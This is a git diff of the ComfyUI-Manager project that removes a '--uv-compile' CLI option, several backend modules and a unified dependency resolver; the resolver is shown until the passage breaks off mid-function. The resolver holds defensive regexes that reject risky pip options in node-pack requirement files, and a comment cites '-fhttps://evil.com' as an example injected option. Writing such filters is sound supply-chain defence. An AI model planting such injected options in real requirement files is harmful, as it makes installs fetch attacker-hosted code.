"--uv-compile",
show_default=False,
help="After reinstalling, batch-resolve all dependencies via uv pip compile",
),
] = False,
user_directory: str = typer.Option(
None,
help="user directory"
@@ -730,20 +694,11 @@ def reinstall(
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
cmd_ctx.set_no_deps(no_deps)
if uv_compile and no_deps:
print("[bold red]--uv-compile and --no-deps are mutually exclusive.[/bold red]")
raise typer.Exit(1)
if uv_compile:
cmd_ctx.set_no_deps(True)
else:
cmd_ctx.set_no_deps(no_deps)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
for_each_nodes(nodes, act=reinstall_node)
_finalize_resolve(pip_fixer, uv_compile)
pip_fixer.fix_broken()
@app.command(help="Uninstall custom nodes")
@@ -788,25 +743,14 @@ def update(
None,
help="user directory"
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After updating, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
if uv_compile:
cmd_ctx.set_no_deps(True)
if 'all' in nodes:
asyncio.run(auto_save_snapshot())
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
for x in nodes:
if x.lower() in ['comfyui', 'comfy', 'all']:
@@ -814,8 +758,7 @@ def update(
break
update_parallel(nodes)
_finalize_resolve(pip_fixer, uv_compile)
pip_fixer.fix_broken()
@app.command(help="Disable custom nodes")
@@ -901,28 +844,16 @@ def fix(
None,
help="user directory"
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After fixing, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
if uv_compile:
cmd_ctx.set_no_deps(True)
if 'all' in nodes:
asyncio.run(auto_save_snapshot())
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
for_each_nodes(nodes, fix_node, allow_all=True)
_finalize_resolve(pip_fixer, uv_compile)
pip_fixer.fix_broken()
@app.command("show-versions", help="Show all available versions of the node")
@@ -1025,6 +956,31 @@ def simple_show(
show_list(arg, True)
@app.command('cli-only-mode', help="Set whether to use ComfyUI-Manager in CLI-only mode.")
def cli_only_mode(
mode: str = typer.Argument(
..., help="[enable|disable]"
),
user_directory: str = typer.Option(
None,
help="user directory"
)
):
cmd_ctx.set_user_directory(user_directory)
cli_mode_flag = os.path.join(cmd_ctx.manager_files_directory, '.enable-cli-only-mode')
if mode.lower() == 'enable':
with open(cli_mode_flag, 'w'):
pass
print("\nINFO: `cli-only-mode` is enabled\n")
elif mode.lower() == 'disable':
if os.path.exists(cli_mode_flag):
os.remove(cli_mode_flag)
print("\nINFO: `cli-only-mode` is disabled\n")
else:
print(f"\n[bold red]Invalid value for cli-only-mode: {mode}[/bold red]\n")
exit(1)
@app.command(
"deps-in-workflow", help="Generate dependencies file from workflow (.json/.png)"
@@ -1119,7 +1075,7 @@ def save_snapshot(
@app.command("restore-snapshot", help="Restore snapshot from snapshot file")
def restore_snapshot(
snapshot_name: str,
snapshot_name: str,
pip_non_url: Optional[bool] = typer.Option(
default=None,
show_default=False,
@@ -1145,24 +1101,13 @@ def restore_snapshot(
restore_to: Optional[str] = typer.Option(
None,
help="Manually specify the installation path for the custom node. Ignore user directory."
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After restoring, batch-resolve all dependencies via uv pip compile",
),
] = False,
)
):
cmd_ctx.set_user_directory(user_directory)
if restore_to:
cmd_ctx.update_custom_nodes_dir(restore_to)
if uv_compile:
cmd_ctx.set_no_deps(True)
extras = []
if pip_non_url:
extras.append('--pip-non-url')
@@ -1183,17 +1128,14 @@ def restore_snapshot(
print(f"[bold red]ERROR: `{snapshot_path}` is not exists.[/bold red]")
exit(1)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
try:
asyncio.run(core.restore_snapshot(snapshot_path, extras))
except Exception:
print("[bold red]ERROR: Failed to restore snapshot.[/bold red]")
traceback.print_exc()
if uv_compile:
pip_fixer.fix_broken()
raise typer.Exit(code=1)
_finalize_resolve(pip_fixer, uv_compile)
pip_fixer.fix_broken()
@app.command(
@@ -1203,21 +1145,10 @@ def restore_dependencies(
user_directory: str = typer.Option(
None,
help="user directory"
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After restoring, batch-resolve all dependencies via uv pip compile",
),
] = False,
)
):
cmd_ctx.set_user_directory(user_directory)
if uv_compile:
cmd_ctx.set_no_deps(True)
node_paths = []
for base_path in cmd_ctx.get_custom_nodes_paths():
@@ -1229,14 +1160,13 @@ def restore_dependencies(
total = len(node_paths)
i = 1
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
for x in node_paths:
print("----------------------------------------------------------------------------------------------------")
print(f"Restoring [{i}/{total}]: {x}")
unified_manager.execute_install_script('', x, instant_execution=True, no_deps=bool(uv_compile))
unified_manager.execute_install_script('', x, instant_execution=True)
i += 1
_finalize_resolve(pip_fixer, uv_compile)
pip_fixer.fix_broken()
@app.command(
@@ -1249,7 +1179,7 @@ def post_install(
):
path = os.path.expanduser(path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
unified_manager.execute_install_script('', path, instant_execution=True)
pip_fixer.fix_broken()
@@ -1277,21 +1207,9 @@ def install_deps(
None,
help="user directory"
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After installing, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
if uv_compile:
cmd_ctx.set_no_deps(True)
asyncio.run(auto_save_snapshot())
if not os.path.exists(deps):
@@ -1301,124 +1219,24 @@ def install_deps(
with open(deps, 'r', encoding="UTF-8", errors="ignore") as json_file:
try:
json_obj = json.load(json_file)
except Exception:
except:
print(f"[bold red]Invalid json file: {deps}[/bold red]")
exit(1)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
for k in json_obj['custom_nodes'].keys():
state = core.simple_check_custom_node(k)
if state == 'installed':
continue
elif state == 'not-installed':
asyncio.run(core.gitclone_install(k, instant_execution=True, no_deps=bool(uv_compile)))
asyncio.run(core.gitclone_install(k, instant_execution=True))
else: # disabled
core.gitclone_set_active([k], False)
_finalize_resolve(pip_fixer, uv_compile)
pip_fixer.fix_broken()
print("Dependency installation and activation complete.")
def _finalize_resolve(pip_fixer, uv_compile) -> None:
"""Run batch resolution if --uv-compile is set, then fix broken packages."""
if uv_compile:
try:
_run_unified_resolve()
except ImportError as e:
print(f"[bold red]Failed to import unified_dep_resolver: {e}[/bold red]")
raise typer.Exit(1)
except typer.Exit:
raise
except Exception as e:
print(f"[bold red]Batch resolution failed: {e}[/bold red]")
raise typer.Exit(1)
finally:
pip_fixer.fix_broken()
else:
pip_fixer.fix_broken()
def _run_unified_resolve():
"""Shared logic for unified batch dependency resolution."""
from comfyui_manager.common.unified_dep_resolver import (
UnifiedDepResolver,
UvNotAvailableError,
attribute_conflicts,
collect_base_requirements,
collect_node_pack_paths,
)
node_pack_paths = collect_node_pack_paths(cmd_ctx.get_custom_nodes_paths())
if not node_pack_paths:
print("[bold yellow]No custom node packs found.[/bold yellow]")
return
print(f"Resolving dependencies for {len(node_pack_paths)} node pack(s)...")
resolver = UnifiedDepResolver(
node_pack_paths=node_pack_paths,
base_requirements=collect_base_requirements(comfy_path),
blacklist=cm_global.pip_blacklist,
overrides=cm_global.pip_overrides,
downgrade_blacklist=cm_global.pip_downgrade_blacklist,
)
try:
result = resolver.resolve_and_install()
except UvNotAvailableError:
print("[bold red]uv is not available. Install uv to use this feature.[/bold red]")
raise typer.Exit(1)
if result.success:
collected = result.collected
if collected:
print(
f"[bold green]Resolved {len(collected.requirements)} deps "
f"from {len(collected.sources)} source(s) "
f"(skipped {len(collected.skipped)}).[/bold green]"
)
else:
print("[bold green]Resolution complete (no deps needed).[/bold green]")
else:
print(f"[bold red]Resolution failed: {result.error}[/bold red]")
if result.lockfile and result.lockfile.conflicts and result.collected:
attributed = attribute_conflicts(result.collected.sources, result.lockfile.conflicts)
if attributed:
print("[bold yellow]Conflicting packages (by node pack):[/bold yellow]")
for pkg_name, requesters in sorted(attributed.items()):
print(f" [yellow]{pkg_name}[/yellow]:")
for pack_path, pkg_spec in requesters:
print(f" {os.path.basename(pack_path)}{pkg_spec}")
raise typer.Exit(1)
@app.command(
"uv-compile",
help="Batch-resolve and install all custom node dependencies via uv pip compile.",
)
def unified_uv_compile(
user_directory: str = typer.Option(
None,
help="user directory"
),
):
cmd_ctx.set_user_directory(user_directory)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
try:
_run_unified_resolve()
except ImportError as e:
print(f"[bold red]Failed to import unified_dep_resolver: {e}[/bold red]")
raise typer.Exit(1)
except typer.Exit:
raise
except Exception as e:
print(f"[bold red]Unexpected error: {e}[/bold red]")
raise typer.Exit(1)
finally:
pip_fixer.fix_broken()
@app.command(help="Clear reserved startup action in ComfyUI-Manager")
def clear():
cancel()
@@ -1462,10 +1280,6 @@ def export_custom_node_ids(
print(f"{x['id']}@unknown", file=output_file)
def main():
app()
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(app())
Executable
+2
View File
@@ -0,0 +1,2 @@
#!/bin/bash
python cm-cli.py $*
-3
View File
@@ -1,3 +0,0 @@
def main():
from .__main__ import main as _main
_main()
-105
View File
@@ -1,105 +0,0 @@
import os
import logging
from aiohttp import web
from .common.manager_security import HANDLER_POLICY
from .common import manager_security
from comfy.cli_args import args
def prestartup():
from . import prestartup_script # noqa: F401
logging.info('[PRE] ComfyUI-Manager')
def start():
logging.info('[START] ComfyUI-Manager')
from .common import cm_global # noqa: F401
if args.enable_manager:
if args.enable_manager_legacy_ui:
try:
from .legacy import manager_server # noqa: F401
from .legacy import share_3rdparty # noqa: F401
from .legacy import manager_core as core
import nodes
logging.info("[ComfyUI-Manager] Legacy UI is enabled.")
nodes.EXTENSION_WEB_DIRS['comfyui-manager-legacy'] = os.path.join(os.path.dirname(__file__), 'js')
except Exception as e:
print("Error enabling legacy ComfyUI Manager frontend:", e)
core = None
else:
from .glob import manager_server # noqa: F401
from .glob import share_3rdparty # noqa: F401
from .glob import manager_core as core
if core is not None:
manager_security.is_personal_cloud_mode = core.get_config()['network_mode'].lower() == 'personal_cloud'
def should_be_disabled(fullpath:str) -> bool:
"""
1. Disables the legacy ComfyUI-Manager.
2. The blocklist can be expanded later based on policies.
"""
if args.enable_manager:
# In cases where installation is done via a zip archive, the directory name may not be comfyui-manager, and it may not contain a git repository.
# It is assumed that any installed legacy ComfyUI-Manager will have at least 'comfyui-manager' in its directory name.
dir_name = os.path.basename(fullpath).lower()
if 'comfyui-manager' in dir_name:
return True
return False
def get_client_ip(request):
peername = request.transport.get_extra_info("peername")
if peername is not None:
# Grab the first two values - there can be more, ie. with --listen
host, port = peername[:2]
return host
return "unknown"
def create_middleware():
connected_clients = set()
is_local_mode = manager_security.is_loopback(args.listen)
@web.middleware
async def manager_middleware(request: web.Request, handler):
nonlocal connected_clients
# security policy for remote environments
prev_client_count = len(connected_clients)
client_ip = get_client_ip(request)
connected_clients.add(client_ip)
next_client_count = len(connected_clients)
if prev_client_count == 1 and next_client_count > 1:
manager_security.multiple_remote_alert()
policy = manager_security.get_handler_policy(handler)
is_banned = False
# policy check
if len(connected_clients) > 1:
if is_local_mode:
if HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NON_LOCAL in policy:
is_banned = True
if HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD in policy:
is_banned = not manager_security.is_personal_cloud_mode
if HANDLER_POLICY.BANNED in policy:
is_banned = True
if is_banned:
logging.warning(f"[Manager] Banning request from {client_ip}: {request.path}")
response = web.Response(text="[Manager] This request is banned.", status=403)
else:
response: web.Response = await handler(request)
return response
return manager_middleware
-6
View File
@@ -1,6 +0,0 @@
default::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main
recent::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/new
legacy::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/legacy
forked::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/forked
dev::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/dev
tutorial::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/tutorial
-16
View File
@@ -1,16 +0,0 @@
# ComfyUI-Manager: Core Backend (glob)
This directory contains the Python backend modules that power ComfyUI-Manager, handling the core functionality of node management, downloading, security, and server operations.
## Core Modules
- **manager_downloader.py**: Handles downloading operations for models, extensions, and other resources.
- **manager_util.py**: Provides utility functions used throughout the system.
## Specialized Modules
- **cm_global.py**: Maintains global variables and state management across the system.
- **cnr_utils.py**: Helper utilities for interacting with the custom node registry (CNR).
- **git_utils.py**: Git-specific utilities for repository operations.
- **node_package.py**: Handles the packaging and installation of node extensions.
- **security_check.py**: Implements the multi-level security system for installation safety.
-17
View File
@@ -1,17 +0,0 @@
from .timestamp_utils import (
current_timestamp,
get_timestamp_for_filename,
get_timestamp_for_path,
get_backup_branch_name,
get_now,
get_unix_timestamp,
)
__all__ = [
'current_timestamp',
'get_timestamp_for_filename',
'get_timestamp_for_path',
'get_backup_branch_name',
'get_now',
'get_unix_timestamp',
]
-105
View File
@@ -1,105 +0,0 @@
import sys
import os
import logging
from . import manager_util
import toml
import git
# read env vars
comfy_path: str = os.environ.get('COMFYUI_PATH')
comfy_base_path = os.environ.get('COMFYUI_FOLDERS_BASE_PATH')
if comfy_path is None:
try:
comfy_path = os.path.abspath(os.path.dirname(sys.modules['__main__'].__file__))
os.environ['COMFYUI_PATH'] = comfy_path
except Exception:
logging.error("[ComfyUI-Manager] environment variable 'COMFYUI_PATH' is not specified.")
exit(-1)
if comfy_base_path is None:
comfy_base_path = comfy_path
channel_list_template_path = os.path.join(manager_util.comfyui_manager_path, 'channels.list.template')
git_script_path = os.path.join(manager_util.comfyui_manager_path, "common", "git_helper.py")
manager_files_path = None
manager_config_path = None
manager_channel_list_path = None
manager_startup_script_path:str = None
manager_snapshot_path = None
manager_pip_overrides_path = None
manager_pip_blacklist_path = None
manager_batch_history_path = None
def update_user_directory(manager_dir):
global manager_files_path
global manager_config_path
global manager_channel_list_path
global manager_startup_script_path
global manager_snapshot_path
global manager_pip_overrides_path
global manager_pip_blacklist_path
global manager_batch_history_path
manager_files_path = manager_dir
if not os.path.exists(manager_files_path):
os.makedirs(manager_files_path)
manager_snapshot_path = os.path.join(manager_files_path, "snapshots")
if not os.path.exists(manager_snapshot_path):
os.makedirs(manager_snapshot_path)
manager_startup_script_path = os.path.join(manager_files_path, "startup-scripts")
if not os.path.exists(manager_startup_script_path):
os.makedirs(manager_startup_script_path)
manager_config_path = os.path.join(manager_files_path, 'config.ini')
manager_channel_list_path = os.path.join(manager_files_path, 'channels.list')
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
manager_util.cache_dir = os.path.join(manager_files_path, "cache")
manager_batch_history_path = os.path.join(manager_files_path, "batch_history")
if not os.path.exists(manager_util.cache_dir):
os.makedirs(manager_util.cache_dir)
if not os.path.exists(manager_batch_history_path):
os.makedirs(manager_batch_history_path)
try:
import folder_paths
update_user_directory(folder_paths.get_system_user_directory("manager"))
except Exception:
# fallback:
# This case is only possible when running with cm-cli, and in practice, this case is not actually used.
update_user_directory(os.path.abspath(manager_util.comfyui_manager_path))
def get_current_comfyui_ver():
"""
Extract version from pyproject.toml
"""
toml_path = os.path.join(comfy_path, 'pyproject.toml')
if not os.path.exists(toml_path):
return None
else:
try:
with open(toml_path, "r", encoding="utf-8") as f:
data = toml.load(f)
project = data.get('project', {})
return project.get('version')
except Exception:
return None
def get_comfyui_tag():
try:
with git.Repo(comfy_path) as repo:
return repo.git.describe('--tags')
except Exception:
return None
-18
View File
@@ -1,18 +0,0 @@
import enum
class NetworkMode(enum.Enum):
PUBLIC = "public"
PRIVATE = "private"
OFFLINE = "offline"
PERSONAL_CLOUD = "personal_cloud"
class SecurityLevel(enum.Enum):
STRONG = "strong"
NORMAL = "normal"
NORMAL_MINUS = "normal-minus"
WEAK = "weak"
class DBMode(enum.Enum):
LOCAL = "local"
CACHE = "cache"
REMOTE = "remote"
@@ -1,70 +0,0 @@
import os
from enum import Enum
from typing import Optional
is_personal_cloud_mode = False
handler_policy = {}
class HANDLER_POLICY(Enum):
MULTIPLE_REMOTE_BAN_NON_LOCAL = 1
MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD = 2
BANNED = 3
def is_loopback(address):
import ipaddress
try:
return ipaddress.ip_address(address).is_loopback
except ValueError:
return False
def do_nothing():
pass
def get_handler_policy(x):
return handler_policy.get(x) or set()
def add_handler_policy(x, policy):
s = handler_policy.get(x)
if s is None:
s = set()
handler_policy[x] = s
s.add(policy)
multiple_remote_alert = do_nothing
def is_safe_path_target(target: str) -> bool:
"""
Check if target string is safe from path traversal attacks.
Args:
target: User-provided filename or identifier
Returns:
True if safe, False if contains path traversal characters
"""
if '/' in target or '\\' in target or '..' in target or '\x00' in target:
return False
return True
def get_safe_file_path(target: str, base_dir: str, extension: str = ".json") -> Optional[str]:
"""
Safely construct a file path, preventing path traversal attacks.
Args:
target: User-provided filename (without extension)
base_dir: Base directory path
extension: File extension to append (default: ".json")
Returns:
Safe file path or None if input contains path traversal attempts
"""
if not is_safe_path_target(target):
return None
return os.path.join(base_dir, f"{target}{extension}")
-136
View File
@@ -1,136 +0,0 @@
"""
Robust timestamp utilities with datetime fallback.
Some environments (especially Mac) have issues with the datetime module
due to local file name conflicts or Homebrew Python module path issues.
"""
import logging
import time as time_module
import uuid
_datetime_available = None
_dt_datetime = None
def _init_datetime():
"""Initialize datetime availability check (lazy, once)."""
global _datetime_available, _dt_datetime
if _datetime_available is not None:
return
try:
import datetime as dt
if hasattr(dt, 'datetime'):
from datetime import datetime as dt_datetime
_dt_datetime = dt_datetime
_datetime_available = True
return
except Exception as e:
logging.debug(f"[ComfyUI-Manager] datetime import failed: {e}")
_datetime_available = False
logging.warning("[ComfyUI-Manager] datetime unavailable, using time module fallback")
def current_timestamp() -> str:
"""
Get current timestamp for logging.
Format: YYYY-MM-DD HH:MM:SS.mmm (or Unix timestamp if fallback)
"""
_init_datetime()
if _datetime_available:
return _dt_datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
return str(time_module.time()).split('.')[0]
def get_timestamp_for_filename() -> str:
"""
Get timestamp suitable for filenames.
Format: YYYYMMDD_HHMMSS
"""
_init_datetime()
if _datetime_available:
return _dt_datetime.now().strftime('%Y%m%d_%H%M%S')
return time_module.strftime('%Y%m%d_%H%M%S')
def get_timestamp_for_path() -> str:
"""
Get timestamp for path/directory names.
Format: YYYY-MM-DD_HH-MM-SS
"""
_init_datetime()
if _datetime_available:
return _dt_datetime.now().strftime('%Y-%m-%d_%H-%M-%S')
return time_module.strftime('%Y-%m-%d_%H-%M-%S')
def get_backup_branch_name(repo=None) -> str:
"""
Get backup branch name with current timestamp.
Format: backup_YYYYMMDD_HHMMSS (or backup_YYYYMMDD_HHMMSS_N if exists)
Args:
repo: Optional git.Repo object. If provided, checks for name collisions
and adds sequential suffix if needed.
Returns:
Unique backup branch name.
"""
base_name = f'backup_{get_timestamp_for_filename()}'
if repo is None:
return base_name
# Check if branch exists
try:
existing_branches = {b.name for b in repo.heads}
except Exception:
return base_name
if base_name not in existing_branches:
return base_name
# Add sequential suffix
for i in range(1, 100):
new_name = f'{base_name}_{i}'
if new_name not in existing_branches:
return new_name
# Ultimate fallback: use UUID (very unlikely to reach here)
return f'{base_name}_{uuid.uuid4().hex[:6]}'
def get_now():
"""
Get current datetime object.
Returns datetime.now() if available, otherwise a FakeDatetime object
that supports basic operations (timestamp(), strftime()).
"""
_init_datetime()
if _datetime_available:
return _dt_datetime.now()
# Fallback: return object with basic datetime-like interface
t = time_module.localtime()
class FakeDatetime:
def timestamp(self):
return time_module.time()
def strftime(self, fmt):
return time_module.strftime(fmt, t)
def isoformat(self):
return time_module.strftime('%Y-%m-%dT%H:%M:%S', t)
return FakeDatetime()
def get_unix_timestamp() -> float:
"""Get current Unix timestamp."""
_init_datetime()
if _datetime_available:
return _dt_datetime.now().timestamp()
return time_module.time()
@@ -1,724 +0,0 @@
"""Unified Dependency Resolver for ComfyUI Manager.
Resolves and installs all node-pack dependencies at once using ``uv pip compile``
followed by ``uv pip install -r``, replacing per-node-pack ``pip install`` calls.
Responsibility scope
--------------------
- Dependency collection, resolution, and installation **only**.
- ``install.py`` execution and ``PIPFixer`` calls are the caller's responsibility.
See Also
--------
- docs/dev/PRD-unified-dependency-resolver.md
- docs/dev/DESIGN-unified-dependency-resolver.md
"""
from __future__ import annotations
import logging
import os
import re
import shutil
import subprocess
import sys
import tempfile
import time
from collections import defaultdict
from dataclasses import dataclass, field
from . import manager_util
logger = logging.getLogger("ComfyUI-Manager")
# ---------------------------------------------------------------------------
# Exceptions
# ---------------------------------------------------------------------------
class UvNotAvailableError(RuntimeError):
"""Raised when neither ``python -m uv`` nor standalone ``uv`` is found."""
# ---------------------------------------------------------------------------
# Data classes
# ---------------------------------------------------------------------------
@dataclass
class PackageRequirement:
"""Individual package dependency."""
name: str # Normalised package name
spec: str # Original spec string (e.g. ``torch>=2.0``)
source: str # Absolute path of the source node pack
@dataclass
class CollectedDeps:
"""Aggregated dependency collection result."""
requirements: list[PackageRequirement] = field(default_factory=list)
skipped: list[tuple[str, str]] = field(default_factory=list)
sources: dict[str, list[tuple[str, str]]] = field(default_factory=dict)
"""pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
extra_index_urls: list[str] = field(default_factory=list)
@dataclass
class LockfileResult:
"""Result of ``uv pip compile``."""
success: bool
lockfile_path: str | None = None
conflicts: list[str] = field(default_factory=list)
stderr: str = ""
@dataclass
class InstallResult:
"""Result of ``uv pip install -r`` (atomic: all-or-nothing)."""
success: bool
installed: list[str] = field(default_factory=list)
skipped: list[str] = field(default_factory=list)
stderr: str = ""
@dataclass
class ResolveResult:
"""Full pipeline result."""
success: bool
collected: CollectedDeps | None = None
lockfile: LockfileResult | None = None
install: InstallResult | None = None
error: str | None = None
# ---------------------------------------------------------------------------
# Resolver
# ---------------------------------------------------------------------------
_TMP_PREFIX = "comfyui_resolver_"
# Security: reject dangerous requirement patterns at line start.
# NOTE: This regex is intentionally kept alongside _INLINE_DANGEROUS_OPTIONS
# because it covers ``@ file://`` via ``.*@\s*file://`` which relies on the
# ``^`` anchor. Both regexes share responsibility for option rejection:
# this one catches line-start patterns; _INLINE_DANGEROUS_OPTIONS catches
# options appearing after a package name.
_DANGEROUS_PATTERNS = re.compile(
r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
r'|--find-links\b|-f\b|.*@\s*file://)',
re.IGNORECASE,
)
# Security: reject dangerous pip options appearing anywhere in the line
# (supplements the ^-anchored _DANGEROUS_PATTERNS which only catches line-start).
# The ``(?:^|\s)`` prefix prevents false positives on hyphenated package names
# (e.g. ``re-crypto``, ``package[extra-c]``) while still catching concatenated
# short-flag attacks like ``-fhttps://evil.com``.
_INLINE_DANGEROUS_OPTIONS = re.compile(
r'(?:^|\s)(--find-links\b|--constraint\b|--requirement\b|--editable\b'
r'|--trusted-host\b|--global-option\b|--install-option\b'
r'|-f|-r|-e|-c)',
re.IGNORECASE,
)
# Credential redaction in index URLs.
_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
# Version-spec parsing (same regex as existing ``is_blacklisted()``).
_VERSION_SPEC_PATTERN = re.compile(r'([^<>!~=]+)([<>!~=]=?)([^ ]*)')
def collect_node_pack_paths(custom_nodes_dirs: list[str]) -> list[str]:
"""Collect all installed node-pack directory paths.
Parameters
----------
custom_nodes_dirs:
Base directories returned by ``folder_paths.get_folder_paths('custom_nodes')``.
Returns
-------
list[str]
Paths of node-pack directories (immediate subdirectories of each base).
"""
paths: list[str] = []
for base in custom_nodes_dirs:
if os.path.isdir(base):
for name in os.listdir(base):
fullpath = os.path.join(base, name)
if os.path.isdir(fullpath):
paths.append(fullpath)
return paths
def collect_base_requirements(comfy_path: str) -> list[str]:
"""Read ComfyUI's own base requirements as constraint lines.
Reads ``requirements.txt`` and ``manager_requirements.txt`` from *comfy_path*.
These are ComfyUI-level dependencies only — never read from node packs.
Parameters
----------
comfy_path:
Root directory of the ComfyUI installation.
Returns
-------
list[str]
Non-empty, non-comment requirement lines.
"""
reqs: list[str] = []
for filename in ("requirements.txt", "manager_requirements.txt"):
req_path = os.path.join(comfy_path, filename)
if os.path.exists(req_path):
with open(req_path, encoding="utf-8") as f:
reqs.extend(
line.strip() for line in f
if line.strip() and not line.strip().startswith('#')
)
return reqs
class UnifiedDepResolver:
"""Unified dependency resolver.
Resolves and installs all dependencies of (installed + new) node packs at
once using *uv*.
Parameters
----------
node_pack_paths:
Absolute paths of node-pack directories to consider.
base_requirements:
Lines from ComfyUI's own ``requirements.txt`` (used as constraints).
blacklist:
Package names to skip unconditionally (default: ``cm_global.pip_blacklist``).
overrides:
Package-name remapping dict (default: ``cm_global.pip_overrides``).
downgrade_blacklist:
Packages whose installed versions must not be downgraded
(default: ``cm_global.pip_downgrade_blacklist``).
"""
def __init__(
self,
node_pack_paths: list[str],
base_requirements: list[str] | None = None,
blacklist: set[str] | None = None,
overrides: dict[str, str] | None = None,
downgrade_blacklist: list[str] | None = None,
) -> None:
self.node_pack_paths = node_pack_paths
self.base_requirements = base_requirements or []
self.blacklist: set[str] = blacklist if blacklist is not None else set()
self.overrides: dict[str, str] = overrides if overrides is not None else {}
self.downgrade_blacklist: list[str] = (
downgrade_blacklist if downgrade_blacklist is not None else []
)
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def resolve_and_install(self) -> ResolveResult:
"""Execute the full pipeline: cleanup → collect → compile → install."""
self.cleanup_stale_tmp()
tmp_dir: str | None = None
try:
# 1. Collect
collected = self.collect_requirements()
if not collected.requirements:
logger.info("[UnifiedDepResolver] No dependencies to resolve")
return ResolveResult(success=True, collected=collected)
logger.info(
"[UnifiedDepResolver] Collected %d deps from %d sources (skipped %d)",
len(collected.requirements),
len(collected.sources),
len(collected.skipped),
)
# 2. Compile
lockfile = self.compile_lockfile(collected)
if not lockfile.success:
return ResolveResult(
success=False,
collected=collected,
lockfile=lockfile,
error=f"compile failed: {'; '.join(lockfile.conflicts)}",
)
# tmp_dir is the parent of lockfile_path
tmp_dir = os.path.dirname(lockfile.lockfile_path) # type: ignore[arg-type]
# 3. Install
install = self.install_from_lockfile(lockfile.lockfile_path) # type: ignore[arg-type]
return ResolveResult(
success=install.success,
collected=collected,
lockfile=lockfile,
install=install,
error=install.stderr if not install.success else None,
)
except UvNotAvailableError:
raise
except Exception as exc:
logger.warning("[UnifiedDepResolver] unexpected error: %s", exc)
return ResolveResult(success=False, error=str(exc))
finally:
if tmp_dir and os.path.isdir(tmp_dir):
shutil.rmtree(tmp_dir, ignore_errors=True)
# ------------------------------------------------------------------
# Step 1: collect
# ------------------------------------------------------------------
def collect_requirements(self) -> CollectedDeps:
"""Collect dependencies from all node packs."""
requirements: list[PackageRequirement] = []
skipped: list[tuple[str, str]] = []
sources: defaultdict[str, list[tuple[str, str]]] = defaultdict(list)
extra_index_urls: list[str] = []
# Snapshot installed packages once to avoid repeated subprocess calls.
# Skip when downgrade_blacklist is empty (the common default).
installed_snapshot = (
manager_util.get_installed_packages()
if self.downgrade_blacklist else {}
)
for pack_path in self.node_pack_paths:
# Exclude disabled node packs (directory-based mechanism).
if self._is_disabled_path(pack_path):
continue
req_file = os.path.join(pack_path, "requirements.txt")
if not os.path.exists(req_file):
continue
for raw_line in self._read_requirements(req_file):
line = raw_line.split('#')[0].strip()
if not line:
continue
# 0. Security: reject dangerous patterns
if _DANGEROUS_PATTERNS.match(line):
skipped.append((line, f"rejected: dangerous pattern in {pack_path}"))
logger.warning(
"[UnifiedDepResolver] rejected dangerous line: '%s' from %s",
line, pack_path,
)
continue
# 1. Separate --index-url / --extra-index-url handling
# (before path separator check, because URLs contain '/')
# URLs are staged but NOT committed until the line passes
# all validation (prevents URL injection from rejected lines).
pending_urls: list[str] = []
if '--index-url' in line or '--extra-index-url' in line:
pkg_spec, pending_urls = self._split_index_url(line)
line = pkg_spec
if not line:
# Standalone option line (no package prefix) — safe
extra_index_urls.extend(pending_urls)
continue
